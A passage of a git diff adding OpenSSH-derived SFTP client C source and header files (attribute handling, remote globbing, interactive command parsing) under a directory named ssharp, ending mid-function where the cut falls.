* modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* Client side of SSH2 filexfer protocol */ + +typedef struct SFTP_DIRENT SFTP_DIRENT; + +struct SFTP_DIRENT { + char *filename; + char *longname; + Attrib a; +}; + +/* + * Initialiase a SSH filexfer connection. Returns -1 on error or + * protocol version on success. + */ +int do_init(int fd_in, int fd_out); + +/* Close file referred to by 'handle' */ +int do_close(int fd_in, int fd_out, char *handle, u_int handle_len); + +/* List contents of directory 'path' to stdout */ +int do_ls(int fd_in, int fd_out, char *path); + +/* Read contents of 'path' to NULL-terminated array 'dir' */ +int do_readdir(int fd_in, int fd_out, char *path, SFTP_DIRENT ***dir); + +/* Frees a NULL-terminated array of SFTP_DIRENTs (eg. from do_readdir) */ +void free_sftp_dirents(SFTP_DIRENT **s); + +/* Delete file 'path' */ +int do_rm(int fd_in, int fd_out, char *path); + +/* Create directory 'path' */ +int do_mkdir(int fd_in, int fd_out, char *path, Attrib *a); + +/* Remove directory 'path' */ +int do_rmdir(int fd_in, int fd_out, char *path); + +/* Get file attributes of 'path' (follows symlinks) */ +Attrib *do_stat(int fd_in, int fd_out, char *path, int quiet); + +/* Get file attributes of 'path' (does not follow symlinks) */ +Attrib *do_lstat(int fd_in, int fd_out, char *path, int quiet); + +/* Get file attributes of open file 'handle' */ +Attrib *do_fstat(int fd_in, int fd_out, char *handle, u_int handle_len, + int quiet); + +/* Set file attributes of 'path' */ +int do_setstat(int fd_in, int fd_out, char *path, Attrib *a); + +/* Set file attributes of open file 'handle' */ +int do_fsetstat(int fd_in, int fd_out, char *handle, + u_int handle_len, Attrib *a); + +/* Canonicalise 'path' - caller must free result */ +char *do_realpath(int fd_in, int fd_out, char *path); + +/* Rename 'oldpath' to 'newpath' */ +int do_rename(int fd_in, int fd_out, char *oldpath, char *newpath); + +/* Rename 'oldpath' to 'newpath' */ +int do_symlink(int fd_in, int fd_out, char *oldpath, char *newpath); + +/* Return target of symlink 'path' - caller must free result */ +char *do_readlink(int fd_in, int fd_out, char *path); + +/* XXX: add callbacks to do_download/do_upload so we can do progress meter */ + +/* + * Download 'remote_path' to 'local_path'. Preserve permissions and times + * if 'pflag' is set + */ +int do_download(int fd_in, int fd_out, char *remote_path, char *local_path, + int pflag); + +/* + * Upload 'local_path' to 'remote_path'. Preserve permissions and times + * if 'pflag' is set + */ +int do_upload(int fd_in, int fd_out, char *local_path, char *remote_path, + int pflag); diff --git a/other/ssharp/sftp-common.c b/other/ssharp/sftp-common.c new file mode 100644 index 0000000..3310eab --- /dev/null +++ b/other/ssharp/sftp-common.c @@ -0,0 +1,146 @@ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sftp-common.c,v 1.2 2001/02/06 23:50:10 markus Exp $"); + +#include "buffer.h" +#include "bufaux.h" +#include "getput.h" +#include "log.h" +#include "xmalloc.h" + +#include "sftp.h" +#include "sftp-common.h" + +void +attrib_clear(Attrib *a) +{ + a->flags = 0; + a->size = 0; + a->uid = 0; + a->gid = 0; + a->perm = 0; + a->atime = 0; + a->mtime = 0; +} + +void +stat_to_attrib(struct stat *st, Attrib *a) +{ + attrib_clear(a); + a->flags = 0; + a->flags |= SSH2_FILEXFER_ATTR_SIZE; + a->size = st->st_size; + a->flags |= SSH2_FILEXFER_ATTR_UIDGID; + a->uid = st->st_uid; + a->gid = st->st_gid; + a->flags |= SSH2_FILEXFER_ATTR_PERMISSIONS; + a->perm = st->st_mode; + a->flags |= SSH2_FILEXFER_ATTR_ACMODTIME; + a->atime = st->st_atime; + a->mtime = st->st_mtime; +} + +Attrib * +decode_attrib(Buffer *b) +{ + static Attrib a; + attrib_clear(&a); + a.flags = buffer_get_int(b); + if (a.flags & SSH2_FILEXFER_ATTR_SIZE) + a.size = buffer_get_int64(b); + if (a.flags & SSH2_FILEXFER_ATTR_UIDGID) { + a.uid = buffer_get_int(b); + a.gid = buffer_get_int(b); + } + if (a.flags & SSH2_FILEXFER_ATTR_PERMISSIONS) + a.perm = buffer_get_int(b); + if (a.flags & SSH2_FILEXFER_ATTR_ACMODTIME) { + a.atime = buffer_get_int(b); + a.mtime = buffer_get_int(b); + } + /* vendor-specific extensions */ + if (a.flags & SSH2_FILEXFER_ATTR_EXTENDED) { + char *type, *data; + int i, count; + count = buffer_get_int(b); + for (i = 0; i < count; i++) { + type = buffer_get_string(b, NULL); + data = buffer_get_string(b, NULL); + debug3("Got file attribute \"%s\"", type); + xfree(type); + xfree(data); + } + } + return &a; +} + +void +encode_attrib(Buffer *b, Attrib *a) +{ + buffer_put_int(b, a->flags); + if (a->flags & SSH2_FILEXFER_ATTR_SIZE) + buffer_put_int64(b, a->size); + if (a->flags & SSH2_FILEXFER_ATTR_UIDGID) { + buffer_put_int(b, a->uid); + buffer_put_int(b, a->gid); + } + if (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) + buffer_put_int(b, a->perm); + if (a->flags & SSH2_FILEXFER_ATTR_ACMODTIME) { + buffer_put_int(b, a->atime); + buffer_put_int(b, a->mtime); + } +} + +const char * +fx2txt(int status) +{ + switch (status) { + case SSH2_FX_OK: + return("No error"); + case SSH2_FX_EOF: + return("End of file"); + case SSH2_FX_NO_SUCH_FILE: + return("No such file or directory"); + case SSH2_FX_PERMISSION_DENIED: + return("Permission denied"); + case SSH2_FX_FAILURE: + return("Failure"); + case SSH2_FX_BAD_MESSAGE: + return("Bad message"); + case SSH2_FX_NO_CONNECTION: + return("No connection"); + case SSH2_FX_CONNECTION_LOST: + return("Connection lost"); + case SSH2_FX_OP_UNSUPPORTED: + return("Operation unsupported"); + default: + return("Unknown status"); + }; + /* NOTREACHED */ +} + diff --git a/other/ssharp/sftp-common.h b/other/ssharp/sftp-common.h new file mode 100644 index 0000000..6dc1a32 --- /dev/null +++ b/other/ssharp/sftp-common.h @@ -0,0 +1,55 @@ +/* $OpenBSD: sftp-common.h,v 1.1 2001/02/04 11:11:54 djm Exp $ */ + +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +typedef struct Attrib Attrib; + +/* File attributes */ +struct Attrib { + u_int32_t flags; + u_int64_t size; + u_int32_t uid; + u_int32_t gid; + u_int32_t perm; + u_int32_t atime; + u_int32_t mtime; +}; + +/* Clear contents of attributes structure */ +void attrib_clear(Attrib *a); + +/* Convert from struct stat to filexfer attribs */ +void stat_to_attrib(struct stat *st, Attrib *a); + +/* Decode attributes in buffer */ +Attrib *decode_attrib(Buffer *b); + +/* Encode attributes to buffer */ +void encode_attrib(Buffer *b, Attrib *a); + +/* Convert from SSH2_FX_ status to text error message */ +const char *fx2txt(int status); + diff --git a/other/ssharp/sftp-glob.c b/other/ssharp/sftp-glob.c new file mode 100644 index 0000000..aee5e91 --- /dev/null +++ b/other/ssharp/sftp-glob.c @@ -0,0 +1,168 @@ +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sftp-glob.c,v 1.5 2001/04/15 08:43:46 markus Exp $"); + +#include "ssh.h" +#include "buffer.h" +#include "bufaux.h" +#include "getput.h" +#include "xmalloc.h" +#include "log.h" +#include "atomicio.h" +#include "pathnames.h" + +#include "sftp.h" +#include "sftp-common.h" +#include "sftp-client.h" +#include "sftp-glob.h" + +struct SFTP_OPENDIR { + SFTP_DIRENT **dir; + int offset; +}; + +static struct { + int fd_in; + int fd_out; +} cur; + +void *fudge_opendir(const char *path) +{ + struct SFTP_OPENDIR *r; + + r = xmalloc(sizeof(*r)); + + if (do_readdir(cur.fd_in, cur.fd_out, (char*)path, &r->dir)) + return(NULL); + + r->offset = 0; + + return((void*)r); +} + +struct dirent *fudge_readdir(struct SFTP_OPENDIR *od) +{ + /* Solaris needs sizeof(dirent) + path length (see below) */ + static char buf[sizeof(struct dirent) + MAXPATHLEN]; + struct dirent *ret = (struct dirent *)buf; +#ifdef __GNU_LIBRARY__ + static int inum = 1; +#endif /* __GNU_LIBRARY__ */ + + if (od->dir[od->offset] == NULL) + return(NULL); + + memset(buf, 0, sizeof(buf)); + + /* + * Solaris defines dirent->d_name as a one byte array and expects + * you to hack around it. + */ +#ifdef BROKEN_ONE_BYTE_DIRENT_D_NAME + strlcpy(ret->d_name, od->dir[od->offset++]->filename, MAXPATHLEN); +#else + strlcpy(ret->d_name, od->dir[od->offset++]->filename, + sizeof(ret->d_name)); +#endif +#ifdef __GNU_LIBRARY__ + /* + * Idiot glibc uses extensions to struct dirent for readdir with + * ALTDIRFUNCs. Not that this is documented anywhere but the + * source... Fake an inode number to appease it. + */ + ret->d_ino = inum++; + if (!inum) + inum = 1; +#endif /* __GNU_LIBRARY__ */ + + return(ret); +} + +void fudge_closedir(struct SFTP_OPENDIR *od) +{ + free_sftp_dirents(od->dir); + xfree(od); +} + +void attrib_to_stat(Attrib *a, struct stat *st) +{ + memset(st, 0, sizeof(*st)); + + if (a->flags & SSH2_FILEXFER_ATTR_SIZE) + st->st_size = a->size; + if (a->flags & SSH2_FILEXFER_ATTR_UIDGID) { + st->st_uid = a->uid; + st->st_gid = a->gid; + } + if (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) + st->st_mode = a->perm; + if (a->flags & SSH2_FILEXFER_ATTR_ACMODTIME) { + st->st_atime = a->atime; + st->st_mtime = a->mtime; + } +} + +int fudge_lstat(const char *path, struct stat *st) +{ + Attrib *a; + + if (!(a = do_lstat(cur.fd_in, cur.fd_out, (char*)path, 0))) + return(-1); + + attrib_to_stat(a, st); + + return(0); +} + +int fudge_stat(const char *path, struct stat *st) +{ + Attrib *a; + + if (!(a = do_stat(cur.fd_in, cur.fd_out, (char*)path, 0))) + return(-1); + + attrib_to_stat(a, st); + + return(0); +} + +int +remote_glob(int fd_in, int fd_out, const char *pattern, int flags, + int (*errfunc)(const char *, int), glob_t *pglob) +{ + pglob->gl_opendir = (void*)fudge_opendir; + pglob->gl_readdir = (void*)fudge_readdir; + pglob->gl_closedir = (void*)fudge_closedir; + pglob->gl_lstat = fudge_lstat; + pglob->gl_stat = fudge_stat; + + memset(&cur, 0, sizeof(cur)); + cur.fd_in = fd_in; + cur.fd_out = fd_out; + + return(glob(pattern, flags | GLOB_ALTDIRFUNC, (void*)errfunc, + pglob)); +} diff --git a/other/ssharp/sftp-glob.h b/other/ssharp/sftp-glob.h new file mode 100644 index 0000000..4206af4 --- /dev/null +++ b/other/ssharp/sftp-glob.h @@ -0,0 +1,32 @@ +/* $OpenBSD: sftp-glob.h,v 1.3 2001/04/15 08:43:46 markus Exp $ */ + +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* Remote sftp filename globbing */ + +int +remote_glob(int fd_in, int fd_out, const char *pattern, int flags, + int (*errfunc)(const char *, int), glob_t *pglob); + diff --git a/other/ssharp/sftp-int.c b/other/ssharp/sftp-int.c new file mode 100644 index 0000000..46e405e --- /dev/null +++ b/other/ssharp/sftp-int.c @@ -0,0 +1,915 @@ +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* XXX: globbed ls */ +/* XXX: recursive operations */ + +#include "includes.h" +RCSID("$OpenBSD: sftp-int.c,v 1.36 2001/04/15 08:43:46 markus Exp $"); + +#include "buffer.h" +#include "xmalloc.h" +#include "log.h" +#include "pathnames.h" + +#include "sftp.h" +#include "sftp-common.h" +#include "sftp-glob.h" +#include "sftp-client.h" +#include "sftp-int.h" + +/* File to read commands from */ +extern FILE *infile; + +/* Version of server we are speaking to */ +int version; + +/* Seperators for interactive commands */ +#define WHITESPACE " \t\r\n" + +/* Commands for interactive mode */ +#define I_CHDIR 1 +#define I_CHGRP 2 +#define I_CHMOD 3 +#define I_CHOWN 4 +#define I_GET 5 +#define I_HELP 6 +#define I_LCHDIR 7 +#define I_LLS 8 +#define I_LMKDIR 9 +#define I_LPWD 10 +#define I_LS 11 +#define I_LUMASK 12 +#define I_MKDIR 13 +#define I_PUT 14 +#define I_PWD 15 +#define I_QUIT 16 +#define I_RENAME 17 +#define I_RM 18 +#define I_RMDIR 19 +#define I_SHELL 20 +#define I_SYMLINK 21 +#define I_VERSION 22 + +struct CMD { + const char *c; + const int n; +}; + +const struct CMD cmds[] = { + { "cd", I_CHDIR }, + { "chdir", I_CHDIR }, + { "chgrp", I_CHGRP }, + { "chmod", I_CHMOD }, + { "chown", I_CHOWN }, + { "dir", I_LS }, + { "exit", I_QUIT }, + { "get", I_GET }, + { "mget", I_GET }, + { "help", I_HELP }, + { "lcd", I_LCHDIR }, + { "lchdir", I_LCHDIR }, + { "lls", I_LLS }, + { "lmkdir", I_LMKDIR }, + { "ln", I_SYMLINK }, + { "lpwd", I_LPWD }, + { "ls", I_LS }, + { "lumask", I_LUMASK }, + { "mkdir", I_MKDIR }, + { "put", I_PUT }, + { "mput", I_PUT }, + { "pwd", I_PWD }, + { "quit", I_QUIT }, + { "rename", I_RENAME }, + { "rm", I_RM }, + { "rmdir", I_RMDIR }, + { "symlink", I_SYMLINK }, + { "version", I_VERSION }, + { "!", I_SHELL }, + { "?", I_HELP }, + { NULL, -1} +}; + +void +help(void) +{ + printf("Available commands:\n"); + printf("cd path Change remote directory to 'path'\n"); + printf("lcd path Change local directory to 'path'\n"); + printf("chgrp grp path Change group of file 'path' to 'grp'\n"); + printf("chmod mode path Change permissions of file 'path' to 'mode'\n"); + printf("chown own path Change owner of file 'path' to 'own'\n"); + printf("help Display this help text\n"); + printf("get remote-path [local-path] Download file\n"); + printf("lls [ls-options [path]] Display local directory listing\n"); + printf("ln oldpath newpath Symlink remote file\n"); + printf("lmkdir path Create local directory\n"); + printf("lpwd Print local working directory\n"); + printf("ls [path] Display remote directory listing\n"); + printf("lumask umask Set local umask to 'umask'\n"); + printf("mkdir path Create remote directory\n"); + printf("put local-path [remote-path] Upload file\n"); + printf("pwd Display remote working directory\n"); + printf("exit Quit sftp\n"); + printf("quit Quit sftp\n"); + printf("rename oldpath newpath Rename remote file\n"); + printf("rmdir path Remove remote directory\n"); + printf("rm path Delete remote file\n"); + printf("symlink oldpath newpath Symlink remote file\n"); + printf("version Show SFTP version\n"); + printf("!command Execute 'command' in local shell\n"); + printf("! Escape to local shell\n"); + printf("? Synonym for help\n"); +} + +void +local_do_shell(const char *args) +{ + int status; + char *shell; + pid_t pid; + + if (!*args) + args = NULL; + + if ((shell = getenv("SHELL")) == NULL) + shell = _PATH_BSHELL; + + if ((pid = fork()) == -1) + fatal("Couldn't fork: %s", strerror(errno)); + + if (pid == 0) { + /* XXX: child has pipe fds to ssh subproc open - issue? */ + if (args) { + debug3("Executing %s -c \"%s\"", shell, args); + execl(shell, shell, "-c", args, NULL); + } else { + debug3("Executing %s", shell); + execl(shell, shell, NULL); + } + fprintf(stderr, "Couldn't execute \"%s\": %s\n", shell, + strerror(errno)); + _exit(1); + } + if (waitpid(pid, &status, 0) == -1) + fatal("Couldn't wait for child: %s", strerror(errno)); + if (!WIFEXITED(status)) + error("Shell exited abormally"); + else if (WEXITSTATUS(status)) + error("Shell exited with status %d", WEXITSTATUS(status)); +} + +void +local_do_ls(const char *args) +{ + if (!args || !*args) + local_do_shell(_PATH_LS); + else { + int len = strlen(_PATH_LS " ") + strlen(args) + 1; + char *buf = xmalloc(len); + + /* XXX: quoting - rip quoting code from ftp? */ + snprintf(buf, len, _PATH_LS " %s", args); + local_do_shell(buf); + xfree(buf); + } +} + +char * +path_append(char *p1, char *p2) +{ + char *ret; + int len = strlen(p1) + strlen(p2) + 2; + + ret = xmalloc(len); + strlcpy(ret, p1, len); + strlcat(ret, "/", len); + strlcat(ret, p2, len); + + return(ret); +} + +char * +make_absolute(char *p, char *pwd) +{ + char *abs; + + /* Derelativise */ + if (p && p[0] != '/') { + abs = path_append(pwd, p); + xfree(p); + return(abs); + } else + return(p); +} + +int +infer_path(const char *p, char **ifp) +{ + char *cp; + + cp = strrchr(p, '/'); + if (cp == NULL) { + *ifp = xstrdup(p); + return(0); + } + + if (!cp[1]) { + error("Invalid path"); + return(-1); + } + + *ifp = xstrdup(cp + 1); + return(0); +} + +int +parse_getput_flags(const char **cpp, int *pflag) +{ + const char *cp = *cpp; + + /* Check for flags */ + if (cp[0] == '-' && cp[1] && strchr(WHITESPACE, cp[2])) { + switch (cp[1]) { + case 'p': + case 'P': + *pflag = 1; + break; + default: + error("Invalid flag -%c", cp[1]); + return(-1); + } + cp += 2; + *cpp = cp + strspn(cp, WHITESPACE); + } + + return(0); +} + +int +get_pathname(const char **cpp, char **path) +{ + const char *cp = *cpp, *end; + char quot; + int i; + + cp += strspn(cp, WHITESPACE); + if (!*cp) { + *cpp = cp; + *path = NULL; + return (0); + } + + /* Check for quoted filenames */ + if (*cp == '\"' || *cp == '\'') { + quot = *cp++; + + end = strchr(cp, quot); + if (end == NULL) { + error("Unterminated quote"); + goto fail; + } + if (cp == end) { + error("Empty quotes"); + goto fail; + } + *cpp = end + 1 + strspn(end + 1, WHITESPACE); + } else { + /* Read to end of filename */ + end = strpbrk(cp, WHITESPACE); + if (end == NULL) + end = strchr(cp, '\0'); + *cpp = end + strspn(end, WHITESPACE); + } + + i = end - cp; + + *path = xmalloc(i + 1); + memcpy(*path, cp, i); + (*path)[i] = '\0'; + return(0); + + fail: + *path = NULL; + return (-1); +} + +int +is_dir(char *path) +{ + struct stat sb; + + /* XXX: report errors? */ + if (stat(path, &sb) == -1) + return(0); + + return(sb.st_mode & S_IFDIR); +} + +int +remote_is_dir(int in, int out, char *path) +{ + Attrib *a; + + /* XXX: report errors? */ + if ((a = do_stat(in, out, path, 1)) == NULL) + return(0); + if (!(a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS)) + return(0); + return(a->perm & S_IFDIR); +} + +int +process_get(int in, int out, char *src, char *dst, char *pwd, int pflag) +{ + char *abs_src = NULL; + char *abs_dst = NULL; + char *tmp; + glob_t g; + int err = 0; + int i; + + abs_src = xstrdup(src); + abs_src = make_absolute(abs_src, pwd); + + memset(&g, 0, sizeof(g)); + debug3("Looking up %s", abs_src); + if (remote_glob(in, out, abs_src, 0, NULL, &g)) { + error("File \"%s\" not found.", abs_src); + err = -1; + goto out; + } + + /* Only one match, dst may be file, directory or unspecified */ + if (g.gl_pathv[0] && g.gl_matchc == 1) { + if (dst) { + /* If directory specified, append filename */ + if (is_dir(dst)) { + if (infer_path(g.gl_pathv[0], &tmp)) { + err = 1; + goto out; + } + abs_dst = path_append(dst, tmp); + xfree(tmp); + } else + abs_dst = xstrdup(dst); + } else if (infer_path(g.gl_pathv[0], &abs_dst)) { + err = -1; + goto out; + } + printf("Fetching %s to %s\n", g.gl_pathv[0], abs_dst); + err = do_download(in, out, g.gl_pathv[0], abs_dst, pflag); + goto out; + } + + /* Multiple matches, dst may be directory or unspecified */ + if (dst && !is_dir(dst)) { + error("Multiple files match, but \"%s\" is not a directory", + dst); + err = -1; + goto out; + } + + for(i = 0; g.gl_pathv[i]; i++) { + if (infer_path(g.gl_pathv[i], &tmp)) { + err = -1; + goto out; + } + if (dst) { + abs_dst = path_append(dst, tmp); + xfree(tmp); + } else + abs_dst = tmp; + + printf("Fetching %s to %s\n", g.gl_pathv[i], abs_dst); + if (do_download(in, out, g.gl_pathv[i], abs_dst, pflag) == -1) + err = -1; + xfree(abs_dst); + abs_dst = NULL; + } + +out: + xfree(abs_src); + if (abs_dst) + xfree(abs_dst); + globfree(&g); + return(err); +} + +int +process_put(int in, int out, char *src, char *dst, char *pwd, int pflag) +{ + char *tmp_dst = NULL; + char *abs_dst = NULL; + char *tmp; + glob_t g; + int err = 0; + int i; + + if (dst) { + tmp_dst = xstrdup(dst); + tmp_dst = make_absolute(tmp_dst, pwd); + } + + memset(&g, 0, sizeof(g)); + debug3("Looking up %s", src); + if (glob(src, 0, NULL, &g)) { + error("File \"%s\" not found.", src); + err = -1; + goto out; + } + + /* Only one match, dst may be file, directory or unspecified */ + if (g.gl_pathv[0] && g.gl_matchc == 1) { + if (tmp_dst) { + /* If directory specified, append filename */ + if (remote_is_dir(in, out, tmp_dst)) { + if (infer_path(g.gl_pathv[0], &tmp)) { + err = 1; + goto out; + } + abs_dst = path_append(tmp_dst, tmp); + xfree(tmp); + } else + abs_dst = xstrdup(tmp_dst); + } else { + if (infer_path(g.gl_pathv[0], &abs_dst)) { + err = -1; + goto out; + } + abs_dst = make_absolute(abs_dst, pwd); + } + printf("Uploading %s to %s\n", g.gl_pathv[0], abs_dst); + err = do_upload(in, out, g.gl_pathv[0], abs_dst, pflag); + goto out; + } + + /* Multiple matches, dst may be directory or unspecified */ + if (tmp_dst && !remote_is_dir(in, out, tmp_dst)) { + error("Multiple files match, but \"%s\" is not a directory", + tmp_dst); + err = -1; + goto out; + } + + for(i = 0; g.gl_pathv[i]; i++) { + if (infer_path(g.gl_pathv[i], &tmp)) { + err = -1; + goto out; + } + if (tmp_dst) { + abs_dst = path_append(tmp_dst, tmp); + xfree(tmp); + } else + abs_dst = make_absolute(tmp, pwd); + + printf("Uploading %s to %s\n", g.gl_pathv[i], abs_dst); + if (do_upload(in, out, g.gl_pathv[i], abs_dst, pflag) == -1) + err = -1; + } + +out: + if (abs_dst) + xfree(abs_dst); + if (tmp_dst) + xfree(tmp_dst); + return(err); +} + +int +parse_args(const char **cpp, int *pflag, unsigned long *n_arg, + char **path1, char **path2) +{ + const char *cmd, *cp = *cpp; + char *cp2; + int base = 0; + long l; + int i, cmdnum; + + /* Skip leading whitespace */ + cp = cp + strspn(cp, WHITESPACE); + + /* Ignore blank lines */ + if (!*cp) + return(-1); + + /* Figure out which command we have */ + for(i = 0; cmds[i].c; i++) { + int cmdlen = strlen(cmds[i].c); + + /* Check for command followed by whitespace */ + if (!strncasecmp(cp, cmds[i].c, cmdlen) && + strchr(WHITESPACE, cp[cmdlen])) { + cp += cmdlen; + cp = cp + strspn(cp, WHITESPACE); + break; + } + } + cmdnum = cmds[i].n; + cmd = cmds[i].c; + + /* Special case */ + if (*cp == '!') { + cp++; + 